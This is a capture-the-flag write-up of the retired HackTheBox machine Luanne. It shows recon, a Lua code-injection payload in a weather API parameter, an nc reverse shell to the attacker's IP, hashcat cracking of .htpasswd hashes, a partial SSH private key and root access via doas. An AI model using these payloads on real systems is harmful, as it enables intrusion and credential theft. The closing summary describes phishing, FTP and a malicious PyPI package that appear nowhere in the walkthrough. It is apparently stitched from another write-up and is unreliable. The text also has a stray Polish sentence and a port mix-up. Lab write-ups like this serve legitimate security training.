Writeup: HackTheBox Luanne Machine
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Luanne, is retired.1. TLDR
2. Preparation
I have prepared some useful variables:
export IP=10.10.10.218
3. Scanning and Reconnaissance
First, I ran an aggressive scan with nmap to reveal and identify services that were running on the 1000 most popular ports.
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-20 23:44 CET
Nmap scan report for 10.10.10.218
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 199.99 seconds
Access to both services was protected according to The 'Basic' HTTP Authentication Scheme
RFC7617. The /weather
resource was nevertheless available on port 80. I therefore launched the gobuster tool:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $gobuster dir -u http://$IP/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.218/weather
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/21 00:11:13 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/12/21 00:27:04 Finished
===============================================================
I therefore sent a query to \weather\forecast
:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
and then, according to the response I received, I sent a request for a list of localities:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=list
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}
Finally, I sent a request for weather information about London:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London
{"code": 200,"city": "London","list": [{"date": "2020-12-20","weather": {"description": "snowy","temperature": {"min": "12","max": "46"},"pressure": "1799","humidity": "92","wind": {"speed": "2.1975513692014","degree": "102.76822959445"}}},{"date": "2020-12-21","weather": {"description": "partially cloudy","temperature": {"min": "15","max": "43"},"pressure": "1365","humidity": "51","wind": {"speed": "4.9522297247313","degree": "262.63571172766"}}},{"date": "2020-12-22","weather": {"description": "sunny","temperature": {"min": "19","max": "30"},"pressure": "1243","humidity": "13","wind": {"speed": "1.8041767538525","degree": "48.400944394059"}}},{"date": "2020-12-23","weather": {"description": "sunny","temperature": {"min": "30","max": "34"},"pressure": "1513","humidity": "84","wind": {"speed": "2.6126398323104","degree": "191.63755226741"}}},{"date": "2020-12-24","weather": {"description": "partially cloudy","temperature": {"min": "30","max": "36"},"pressure": "1772","humidity": "53","wind": {"speed": "2.7699138359167","degree": "104.89152945159"}}}]}
4. Gaining Access
I didn’t know if I could control another parameter besides the city parameter. So I decided to wfuzz this parameter in hopes of any diagnostic information in case of an error:
One of the first attempts using wfuzz….
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 http://10.10.10.218/weather/forecast?city=London%FUZZ
…zwróciła wiele rezultatów, które minimalnie różniły się liczbą słów.
I decided to analyze this case further. The largest number of responses came with a length of 12 and 5 words:
- 12 words:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%0
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
- 5 words:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%10
{"code": 500,"error": "unknown city: London"}
I therefore filtered them out of the results:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 --hw 5,12 http://10.10.10.218/weather/forecast?city=London%FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.218/weather/forecast?city=London%FUZZ
Total requests: 256
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000028: 500 1 L 9 W 77 Ch "27"
000000021: 500 0 L 6 W 46 Ch "20"
000000201: 500 0 L 6 W 47 Ch "200"
000000203: 500 0 L 6 W 47 Ch "202"
000000202: 500 0 L 6 W 47 Ch "201"
000000204: 500 0 L 6 W 47 Ch "203"
000000206: 500 0 L 6 W 47 Ch "205"
000000210: 500 0 L 6 W 47 Ch "209"
000000208: 500 0 L 6 W 47 Ch "207"
000000209: 500 0 L 6 W 47 Ch "208"
000000205: 500 0 L 6 W 47 Ch "204"
000000207: 500 0 L 6 W 47 Ch "206"
Total time: 0
Processed Requests: 256
Filtered Requests: 244
Requests/sec.: 0
The result with 6 words is:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%20
{"code": 500,"error": "unknown city: London "}
In contrast, the sought-after answer was provided by the demand:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
Next, using the URLEncode functionality in CyberChef I encoded a fragment of the city parameter value:
London')os.execute("id")--
And I sent the request:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D
{"code": 500,"error": "unknown city: Londonuid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
So I received proof of the possibility of remote code execution.
I immediately sent a request to execute the uname -a
command to identify the operating system:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22uname%20%2Da%22%29%2D%2D
{"code": 500,"error": "unknown city: LondonNetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64
From the responses, it was known that:
- the weather station was controlled by a 64-bit NetBSD operating system.
- the hostname was luanne.htb
I therefore added an entry to /etc/hosts
:
10.10.10.218 luanne.htb
In order to establish a session with the system shell, I ran nc:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
And I coded the value of the city parameter:
London')os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.187 4444 >/tmp/f")--
And I sent the request:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E187%204444%20%3E%2Ftmp%2Ff%22%29%2D%2D
As a result of the described actions, I established a session as user _httpd
.
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.218] 65164
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
5. Privilege Escalation: _httpd ⇨ r.michaels
In order to make the linpeas tool available, I started an http server:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
I then downloaded and launched the mentioned tool:
$ cd /tmp
$ curl http://10.10.14.187:8000/linpeas.sh>linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 220k 100 220k 0 0 550k 0 --:--:-- --:--:-- --:--:-- 550k
$ /bin/sh linpeas.sh
In the standard output, I observed an interesting entry containing an MD5 digest:
Reading /var/www/.htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
I proceeded to try to recover the password:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0'>md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable
After a dozen or so, the password was cracked:
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest
So I had a set of credentials webapi_user:iamthebest
.
I tried to authenticate to the http services on port 80 and 9001. On port 80 I was able to access the content of the page:
I’ll admit that at this point I was stuck for a while. I didn’t know if there was any other service? Did linpeas on NetBSD miss something important? What had I missed?
Looking through the NetBSD User’s Guide I found, among other things, that the basic system configuration is stored in the /etc/rc.conf
file:
$ cat /etc/rc.conf
# $NetBSD: rc.conf,v 1.97 2014/07/14 12:29:48 mbalmer Exp $
# ...
if [ -r /etc/defaults/rc.conf ]; then
. /etc/defaults/rc.conf
fi
# If this is not set to YES, the system will drop into single-user mode.
#
rc_configured=YES
# Add local overrides below.
#
hostname=luanne.htb
dhcpcd=NO
#dhcpcd_flags="-qM wm0"
resolvconf=NO
postfix=NO
inetd=NO
sshd=YES
wscons=YES
supervisord=YES
nginx=YES
httpd=YES
httpd_flags="-u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua"
httpd_devel=YES
httpd_devel_wwwuser="r.michaels"
httpd_devel_wwwdir="/home/r.michaels/devel/www"
httpd_devel_flags="-u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua"
#httpd_devel_flags="-u -X -s -I 3000 -L weather /home/r.michaels/devel/webapi/weather.lua"
vmtools=YES
So there was a production and a developer instance of an http server providing weather information. The first one ran locally on port 3001, and the second - the development one - on port 3001. It was also clear from the configuration that the development server was running with the user rights of r.michaels
.
So I tried using the same error again:
$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 65 0 65 0 0 32500 0 --:--:-- --:--:-- --:--:-- 32500
{"code": 500,"error": "unknown city: London')os.execute("id")--"}
Unfortunately, in this case there was no error present in the production version.
So I decided to check the availability of the http server user directory:
$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 293k 0 --:--:-- --:--:-- --:--:-- 293k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
An id_rsa file was available….
$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 1274k 0 --:--:-- --:--:-- --:--:-- 1274k
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
...
45bBkP5xOhrjMAAAAVci5taWNoYWVsc0BsdWFubmUuaHRiAQIDBAUG
-----END OPENSSH PRIVATE KEY-----
… Which contained the SSH private key. I saved the contents to a file and connected after ssh:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $chmod 400 r.michaels_id_rsa
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $ssh r.michaels@luanne.htb -i ./r.michaels_id_rsa
Last login: Mon Dec 21 23:59:47 2020 from 10.10.14.58
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$
It remained to read the user flag:
luanne$ ls -lah
total 7.6K
dr-xr-x--- 7 r.michaels users 512B Sep 16 18:20 .
drwxr-xr-x 3 root wheel 512B Sep 14 06:46 ..
-rw-r--r-- 1 r.michaels users 1.7K Feb 14 2020 .cshrc
drwx------ 2 r.michaels users 512B Sep 14 17:16 .gnupg
-rw-r--r-- 1 r.michaels users 431B Feb 14 2020 .login
-rw-r--r-- 1 r.michaels users 265B Feb 14 2020 .logout
-rw-r--r-- 1 r.michaels users 1.5K Feb 14 2020 .profile
-rw-r--r-- 1 r.michaels users 166B Feb 14 2020 .shrc
dr-x------ 2 r.michaels users 512B Sep 16 16:51 .ssh
dr-xr-xr-x 2 r.michaels users 512B Nov 24 09:26 backups
dr-xr-x--- 4 r.michaels users 512B Sep 16 15:02 devel
dr-x------ 2 r.michaels users 512B Sep 16 16:52 public_html
-r-------- 1 r.michaels users 33B Sep 16 17:16 user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
6. Privilege Escalation: r.michaels ⇨ root
In the directory ~/backups
there was an encrypted file devel_backup-2020-09-16.tar.gz.enc
.
luanne$ pwd
/home/r.michaels/backups
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc
In order to decrypt the file, I wanted to run the gpg2
program, but it was not available:
luanne$ gpg2
ksh: gpg2: not found
So I searched the file system for a similar program:
luanne$ ls -Ralh / 2>/dev/null | grep 'gpg\|pgp'
Among other things, I found information about the netpgp program in the search results:
-r-xr-xr-x 1 root wheel 25K Feb 14 2020 netpgp
In the manual for NetBSD, you can read the page dedicated to netpgp:
The netpgp command can digitally sign files and verify that the signa-
tures attached to files were signed by a given user identifier. netpgp
can also encrypt files using the public or private keys of users and, in
the same manner, decrypt files which were encrypted.
So I decrypted the file:
luanne$ netpgp --decrypt /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc --output ./devel_backup-2020-09-16.tar.gz
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
I then downloaded it from the station and unpacked it:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $scp -i ./r.michaels_id_rsa r.michaels@luanne.htb:/tmp/devel_backup-2020-09-16.tar.gz ./
devel_backup-2020-09-16.tar.gz 100% 1639 39.4KB/s 00:00
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $unar devel_backup-2020-09-16.tar.gz
devel_backup-2020-09-16.tar.gz: Tar in Gzip
devel-2020-09-16/ (dir)... OK.
devel-2020-09-16/www/ (dir)... OK.
devel-2020-09-16/webapi/ (dir)... OK.
devel-2020-09-16/webapi/weather.lua (7072 B)... OK.
devel-2020-09-16/www/index.html (378 B)... OK.
devel-2020-09-16/www/.htpasswd (47 B)... OK.
Successfully extracted to "devel-2020-09-16".
In the unpacked archive, I found the password md5 hash again:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne/devel-2020-09-16/www]
└──╼ $cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
So I restarted the hashcat:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' >> md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable
After a few seconds, the standard output showed the result:
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
I tried logging in as root:
luanne$ doas -u root /bin/ksh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
It remained to read the flag:
# cat /root/root.txt
7a9b5c206e8e8ba09bb99bd113675f66
7. Summary
The following circumstances led to the acquisition of the flags:
- Acquisition of credentials through phishing.
- Acquiring access to an employee’s mailbox.
- Passwords stored in the body of emails found in the mailbox.
- Acquisition of access to an FTP server with the code of a publicly available development website.
- Possibility of installing a malicious package in the Python Package Index repository.
- User low could run pip3 as root.